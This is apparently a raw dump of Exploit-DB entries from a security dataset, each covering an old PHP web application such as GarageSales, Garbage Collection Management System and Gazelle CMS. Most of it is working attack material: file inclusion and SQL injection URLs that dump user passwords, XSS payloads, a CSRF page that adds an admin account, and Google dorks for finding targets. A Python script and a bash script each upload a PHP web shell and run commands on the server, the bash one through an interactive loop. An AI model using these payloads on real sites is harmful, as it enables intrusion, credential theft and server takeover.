deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6036
Description: gapicms 9.0.2 - 'dirDepth' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: Ghost Hacker

Exploit:
######################################################################################################
 gapicms v9.0.2 (dirDepth) Remote File Inclusion Vulnerability
######################################################################################################
[~] Found : Ghost Hacker [ R-H TeaM ]           |,  .-.  .-.  ,|
[~] HOME  : www.Real-Hack.net                   | )(_o/  \o_)( | 
[~] Email : Ghost-r00t@Hotmail.com              |/     /\     \|
[~] Script : gapicms v9.0.2
[~] Download Script : http://heanet.dl.sourceforge.net/sourceforge/gapicms/gapicms_v9.0.2stable.tar.gz
############################# [ I love the Messenger of Allah Mohammad ] #############################
[~] Error ( ktmlpro/includes/ktedit/toolbar.php )
[~] Exploit :
http://xxxx/[path]/ktmlpro/includes/ktedit/toolbar.php?dirDepth=[Evil]
############################# [ I love the Messenger of Allah Mohammad ] ############################
[~] Greetz :
PROTO & QaTaR BoeZ TeaM & x.CJP.x & Dmar al3noOoz & 4Bo3tB & Mr.JUVE & Mr.hope & LeGeNd HaCkEr ..
Root Hacker & Jiko & ScarY.HaCkEr & Qptan & the-pirate.org & My Blog [ gh0st10.wordpress.com ]
All Member Real Hack And All My Friends ..
######################################################################################################
 Real Hack Team ( R-H ) ..
######################################################################################################

# milw0rm.com [2008-07-10]
Exploit-DB #12128
Description: GarageSales - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-09
Author: saidinh0

Exploit:
# Exploit Title: [GarageSales Remote Upload Vulnerability]
# Date: [06/04/2010]
# Author: [saidinh0]
# Software Link: [N/A]
# Version: [2004/2008]
# Tested on: [Linux/unix]
# CVE : [if exists]
# Code : [N/A]
#Email : cgd@hotmail.com

###################################################
| Intorduction :`|

Hi everybody , This my first bug (Remote Upload Vulnerability) and I wish you like it :p
###################################################

[Dork ]:  inurl:post.php?Category=Garage

{exploit} :  http://127.0.0.1/post.php?Category=Garage

Example : http://[site]/searchgarage/post.php?Category=Garage

After you have uploaded your shells , you will find it in this Path : http://[site]/up_files/YouRShell.php


Example : http://[site]/searchgarage/up_files/[PII_REDACTED]CrewSheLL.php

###################################################


Greetz To  : All my friends :p , Dos02.com Team ,Moroccan H4x0rz

--=-=-=-=-Dos02.com , owned-m.com/cc , vid2all.com -=-=-=-=--=
Exploit-DB #9262
Description: garagesalesjunkie - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-27
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] GarageSales Script Multiple Remote Vulnerabilities
==============================================================================

	[Â»] Script:             [ GarageSales Script ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.garagesalesjunkie.com/  ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ OFF ]
        [Â»] Price:              [ $40.00 USD ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : SQL INJECTION vulnerability ]===

[Â»] http://www.site.com/patch/view.php?key=[SQL]

[Â»]http://www.garagesalesjunkie.com/tryit/visitor/view.php?key=null+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]===	
	
[Â»] http://www.site.com/patch/view.php?key=[BLIND]

[Â»] http://www.garagesalesjunkie.com/tryit/visitor/view.php?key=1 and     11=null+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/view.php?key=[XSS]

[Â»] http://www.garagesalesjunkie.com/tryit/visitor/view.php?key="><script>alert(document.cookie);</script>.

Author: Moudi

###########################################################################

# milw0rm.com [2009-07-27]
Exploit-DB #50085
Description: Garbage Collection Management System 1.0 - SQL Injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-07-02
Author: ircashem

Exploit:
# Exploit Title: Garbage Collection Management System 1.0 - SQL Injection (Unauthenticated)
# Exploit Author: ircashem
# Date 02.07.2021
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14854/garbage-collection-management-system-php.html
# Version 1.0
# Tested on: Ubuntu 20.04

####################
# Proof of Concept #
####################

POST /login.php HTTP/1.1
Content-Length: 456
Host: localhost 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Origin: http://localhost
DNT: 1
Referer: http://localhost/
Cookie: PHPSESSID=v9j5jnmku4ags9lmp44ejah8im
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Connection: close

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="username"

admin
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="password"

admin' AND (SELECT 1 from (select sleep(5))a) -- -
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="submit"


----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--

###########
# Payload #
###########

username=admin
password=admin' AND (SELECT 1 from (select sleep(5))a) -- -
Exploit-DB #50123
Description: Garbage Collection Management System 1.0 - SQL Injection + Arbitrary File Upload
Type: webapps
Platform: php
Date: 2021-07-13
Author: Luca Bernardi

Exploit:
# Exploit Title: Garbage Collection Management System 1.0 - SQL Injection + Arbitrary File Upload
# Date: 05-07-2021
# Exploit Author: Luca Bernardi - bernardiluca.job at protonmail.com | luca.bernardi at dedagroup.it
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14854/garbage-collection-management-system-php.html
# POC: https://www.exploit-db.com/exploits/50085
# Tested On: Ubuntu 21.04 + Apache/2.4.46 (Ubuntu)
# Version: 1.0

#======================================================

#imports
from requests_toolbelt.multipart.encoder import MultipartEncoder
import requests
import string
import random
import os
import argparse

#generate random string 8 chars
def randomGen(size=8, chars=string.ascii_lowercase):
	return ''.join(random.choice(chars) for _ in range(size))



#generating a random username and a random web shell file
user=randomGen()
shellFile=randomGen()+".php"

#creating a payload for the login
payload = {
"username":"a",
"password":"a' OR 1=1 AND ucat='admin' #"
}


proxies = {"http":"http://127.0.0.1:8080"}

session=requests.Session()

#changeme
urlBase="http://172.27.1.71/Gabage/"

url=urlBase+"login.php"
print("=== executing SQL Injection ===")
req=session.post(url,payload,allow_redirects=False)

cookie=req.headers["Set-Cookie"]
print("=== authenticated admin cookie:" + cookie + " ===")

url=urlBase+"apatient/users.php?user=rayat"

mp_encoder = MultipartEncoder(
fields = {
"fullname":user,
"ucat":"admin",
"contact":"[PII_REDACTED]",
"address":"aaa ave",
"username":user,
"acstatus":"active",
"date":"2021-07-05",
"password":user,
"image":(shellFile,"<?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>","application/x-php"),
"submit":""
}
)


headers = {
"Cookie":cookie,
'Content-Type': mp_encoder.content_type
}

print("=== creating user " + user + " and uploading shell " + shellFile +" ===")
req=session.post(url,data=mp_encoder,allow_redirects=False,headers=headers) #,proxies=proxies)

#curl the shell for test
requestUrl = "curl " + urlBase + "apatient/contract/"+shellFile+"?cmd=whoami"
print("=== issuing a whoami: " + requestUrl + " ===")

print("===CURL OUTPUT===")
os.system(requestUrl)
Exploit-DB #3732
Description: Garennes 0.6.1 - 'repertoire_config' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-13
Author: GoLd_M

Exploit:
# Garennes 0.6.1 <= Remote File Include Vulnerablites
# D.Script: https://adullact.net/frs/download.php/672/garennes-easyphp-0.6.1.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/cpe/index.php?repertoire_config=Shell
# Exploit:[Path]/direction/index.php?repertoire_config=Shell
# Exploit:[Path]/professeurs/index.php?repertoire_config=Shell
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group

# milw0rm.com [2007-04-13]
Exploit-DB #31293
Description: Gary's Cookbook 3.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-25
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27972/info

Gary's Cookbook module for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_garyscookbook&Itemid=S@BUN&func=detail&id=-666/**/union+select/**/0,0,password,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,username+f
rom%2F%2A%2A%2Fmos_users/*
Exploit-DB #27209
Description: Gastebuch 1.3.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-13
Author: Micha Borrmann

Exploit:
source: https://www.securityfocus.com/bid/16615/info

Gastebuch is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated HTML content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Gastebuch version 1.3.2 is vulnerable to this issue; prior versions may also be affected.

http://www.example.com/"<script>alert(123)</script>"
Exploit-DB #45766
Description: Gate Pass Management System 2.1 - 'login' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-02
Author: Ihsan Sencan

Exploit:
# Exploit Title: Gate Pass Management System 2.1 - 'login' SQL Injection
# Dork: N/A
# Date: 2018-11-01
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.livebms.com
# Software Link: https://netcologne.dl.sourceforge.net/project/gatepass/gpms_Update.zip
# Version: 2.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/login-exec.php
# 
POST /[PATH]/login-exec.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=dfbpcp36b5ura1aurmtm3dqbr0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
login=%27%6f%72%20%31%3d%31%20%6f%72%20%27%27%3d%27&[CREDENTIAL_REDACTED]=Login
HTTP/1.1 302 Found
Date: Thu, 01 Nov 2018 12:08:54 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=e7ed7dtjg0hq3qsv0vil80o086; path=/
Location: gpms/index.php
Content-Length: 281
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #11680
Description: Gazelle CMS - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-03-10
Author: pratul agrawal

Exploit:
                                =======================================================================
   
                                              Anantasoft Gazelle CMS CSRF Vulnerability
 
                                =======================================================================
   
                                                               by
   
                                                         Pratul Agrawal
 
   
   
  # Vulnerability found in- Admin module
   
  # email         Pratulag@yahoo.com
   
  # company       aksitservices
   
  # Credit by     Pratul Agrawal
 
  # Software      Anantasoft_Gazelle_CMS

  # Category  	  CMS / Portals
  
  # Plateform     php
  
   
   
  #  Proof of concept   #
 
  Targeted URL:  http://server/demo/2/193/Anantasoft_Gazelle_CMS
  
 
   Script to Add the Admin user through Cross Site request forgery
   
             .  ................................................................................................................
   
                        <html>

                          <body>

                             <form name="XYZ" action="http://site/gazelle/admin/index.php?Users/Add%20User" method="post">

                                    <input type=hidden name="name" value="master">

                                    <input type=hidden name="pass" value="master">

                                    <input type=hidden name="controle" value="master">

                                    <input type=hidden name="email" value="master%40yahoo.com">

                                    <input type=hidden name="active" value="on">

                                    <input type=hidden name="showemail" value="on">

                                    <input type=hidden name="admin%5B%5D" value="2">

                                    <input type=hidden name="save" value="Add">

                                    <input type=hidden name="table" value="users">

                                    <input type=hidden name="joindate" value="2010-03-10+04%3A04%3A36">
                             </form>

                               <script>

                                 document.XYZ.submit();

                               </script>

                          </body>

                        </html>
   
             .  ..................................................................................................................
   
   
   
  After execution refresh the page and u can see that user having giving name Added automatically with Admin Privilege.
  
  
#If you have any questions, comments, or concerns, feel free to contact me.
Exploit-DB #14714
Description: Gazelle CMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-08-23
Author: Sweet

Exploit:
############################################################################
#                                                                          #
# Exploit Title: Ananta_Gazelle Local File inclusion / Xss Vulnerabilities #
#                                                                          #
# Date: 23/08/2010                                                         #
#                                                                          #
# Author: Sweet                                                            #
#                                                                          #
# Contact : charif38@hotmail.fr                                            #
#                                                                          #
# Software Link: www.anantasoft.com                                        #
#                                                                          # 
# Download:http://www.anantasoft.com/index.php?Gazelle%20CMS/Download      #
#                                                                          # 
# Version: Ananta_Gazelle1.0                                               #
#                                                                          #
# Tested on: WinXp sp3                                                     #
#                                                                          #
#                                                                          #
#                                                                          #
#                                                                          #
# Description : Gazelle is fast, free and requires no learning             # 
#                                                                          #
# you can just dive in with the content and make a big site                #
#                                                                          #
############################################################################



1-Local File Inclusion :

Input passed to to the "language" parameter in index.php isn't properly verified, before it is used to include files 
This can be exploited to include arbitrary files from local resources


http://www.example.com/AnantaPatch/index.php?template=../../../../../../../../../../boot.ini%00

http://www.example.com/AnantaPatch/admin/index.php?template=../../../../../../../../../../boot.ini%00


Screen <=> http://img541.imageshack.us/img541/3482/ananta.png


2-Xss :

http://www.example.com/AnantaPatch/forgot.php/>"><ScRiPt>alert("Sweet")</ScRiPt>

http://www.example.com/AnantaPatch/search.php?lookup=1>'><ScRiPt%20%0a%0d>alert("Sweet")%3B</ScRiPt>

http://www.example.com/AnantaPatch/register.php?=>"'><ScRiPt>alert("Sweet")</ScRiPt>

http://www.example.com/AnantaPatch/admin/?=>"'><ScRiPt>alert("Sweet")</ScRiPt>

Saha Ftourkoum et 1,2,3 viva L'Algerie :))
Exploit-DB #7895
Description: Gazelle CMS 1.0 - 'template' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-01-28
Author: fuzion

Exploit:
Gazelle CMS Local File Inclusion
http://www.anantasoft.com/

/gazelle/?template=../../../../../../../../../../../../etc/passwd%00 (view source)

Author notified: Jan 20

http://nukeit.org

# milw0rm.com [2009-01-28]
Exploit-DB #9433
Description: Gazelle CMS 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-08-13
Author: RoMaNcYxHaCkEr

Exploit:
   ====================================================
   | Gazelle CMS 1.0 Remote Arbitrary File Upload Vuln  
   |     My Home Page : WwW.Sec-Code.CoM
   |        Founded By RoMaNcYxHaCkEr            
   ====================================================
 
[!] Discovered.:                        RoMaNcYxHaCkEr

[!] Vendor.....:                        http://www.anantasoft.com/index.php?Gazelle%20CMS/Download

[!] My Homepage...:                     WwW.Sec-Code.CoM

[!] Security - Codes Group ...:         aB0-3tH4b T3rR0r , mr-al7rbi , sniper-code

[!] Contact Me ...:                     rXh@Mail.Net.Sa
 
[!] PoC........:
 
http://localhost/Ananta_Gazelle1.0/admin/editor/filemanager/browser.html?Connector=connectors/php/connector.php&Type=Image
^^^^
This Is Default In Editor admin
Try Change Image To File Like This :
http://localhost/Ananta_Gazelle1.0/admin/editor/filemanager/browser.html?Connector=connectors/php/connector.php&Type=File
Upload Any Shell.php Then You See That,s Here E.G. :
http://localhost/Ananta_Gazelle1.0/user/File/shell.php
 
[!] Solution...:     I Don,t Know He He :D , Contact With Me ;)
 
[!] Greetingz..:     All My Forum Members , My TeaM , Dexter Franklin ;)
 
[!] Thx .. :            Ø·Ø§Ù„Ø¨ Ù…ØªØ­Ù…Ø³ , IHTTeam For His Exploit
 
[!] Fuck To .. : Third , Dev1l-Fucker <<< They Big Big Big Big Lamerz
 
[!] rXh
 
[!] bEST wISHES

# milw0rm.com [2009-08-13]
Exploit-DB #35565
Description: Gazelle CMS 1.0 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2011-04-04
Author: kurdish hackers team

Exploit:
source: https://www.securityfocus.com/bid/47157/info

Anantasoft Gazelle CMS is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Anantasoft Gazelle CMS 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/search.php?lookup=<script>alert(888)</script>
http://www.example.com//register.php?^name=&pass=&controle=&email=&showemail=&save=Save&table=users&active=0&activate=3fb04953d95a94367bb133f862402bce&location=%2FAnanta_Gazelle1.0%2Fregister.php&joindate=2011-04-05+07%3A58%3A50 [is vulnerable to &#039; input SQL inject]
Exploit-DB #9425
Description: Gazelle CMS 1.0 - Multiple Vulnerabilities / Remote Code Execution
Type: webapps
Platform: php
Date: 2009-08-12
Author: IHTeam

Exploit:
#!/bin/bash
#       Gazelle CMS 1.0 Multiple Vulnerabilities
#       Script Download: http://www.anantasoft.com/index.php?Gazelle%20CMS/Download
#       Found by white_sheep on 11/08/2009
#       Contact: sheewhite@googlemail.com - https://www.ihteam.net
#       Need magic_quote_gpc Off for RCE and LFI
#       Thanks to r00t
#
#               PASSWORD RESET:
# http://localhost/gazelle/renew.php?user=[username]
#
#               LFI:
# author: fuzion (milw0rm.com/author/1343)
# http://localhost/gazelle/index.php?template=[LFI]
#
#               XSS:
# http://localhost/gazelle/user.php?user=</title>[XSS]
# http://localhost/gazelle/search.php?lookup=<script+type="text/javascript">[CODE]</script>
#
#               RCE:
echo
echo "###############################################"
echo "#             GazelleCMS 1.0 RCE              #"
echo "#  by white_sheep				    #"
echo "#  sheewhite[at]googlemail[dot]com            #"
echo "#						    #"
echo "#           https://www.ihteam.net            #"
echo "###############################################"
echo


EVILC='<?php passthru($_GET[cmd]); ?>'

echo -n "Insert url with path (ex.: http://localhost/gazelle): " 
read SITE

PAGENAME=/modules/menu$RANDOM'.bak.php'

curl -F "siteTitle='INIT'$EVILC'EOF';type=text/html" $SITE'/admin/settemplate.php?customizetemplate=..'$PAGENAME'%00' 1>/dev/null 2>/dev/null

if [ "`curl -s $SITE''$PAGENAME | grep siteTitle`" == "" ]
then 
	echo "[-] Not Vulnerable :( byee"
	exit
fi

while true
do
	echo -n "sh$: "
	read -r CMD
	CMD=`echo $CMD | sed 's/ /+/g'`
	echo $CMD
	curl -s "$SITE$PAGENAME?cmd=$CMD" | sed "s/.*'INIT'//g;s/'EOF'.*//g"
	echo
done

# milw0rm.com [2009-08-12]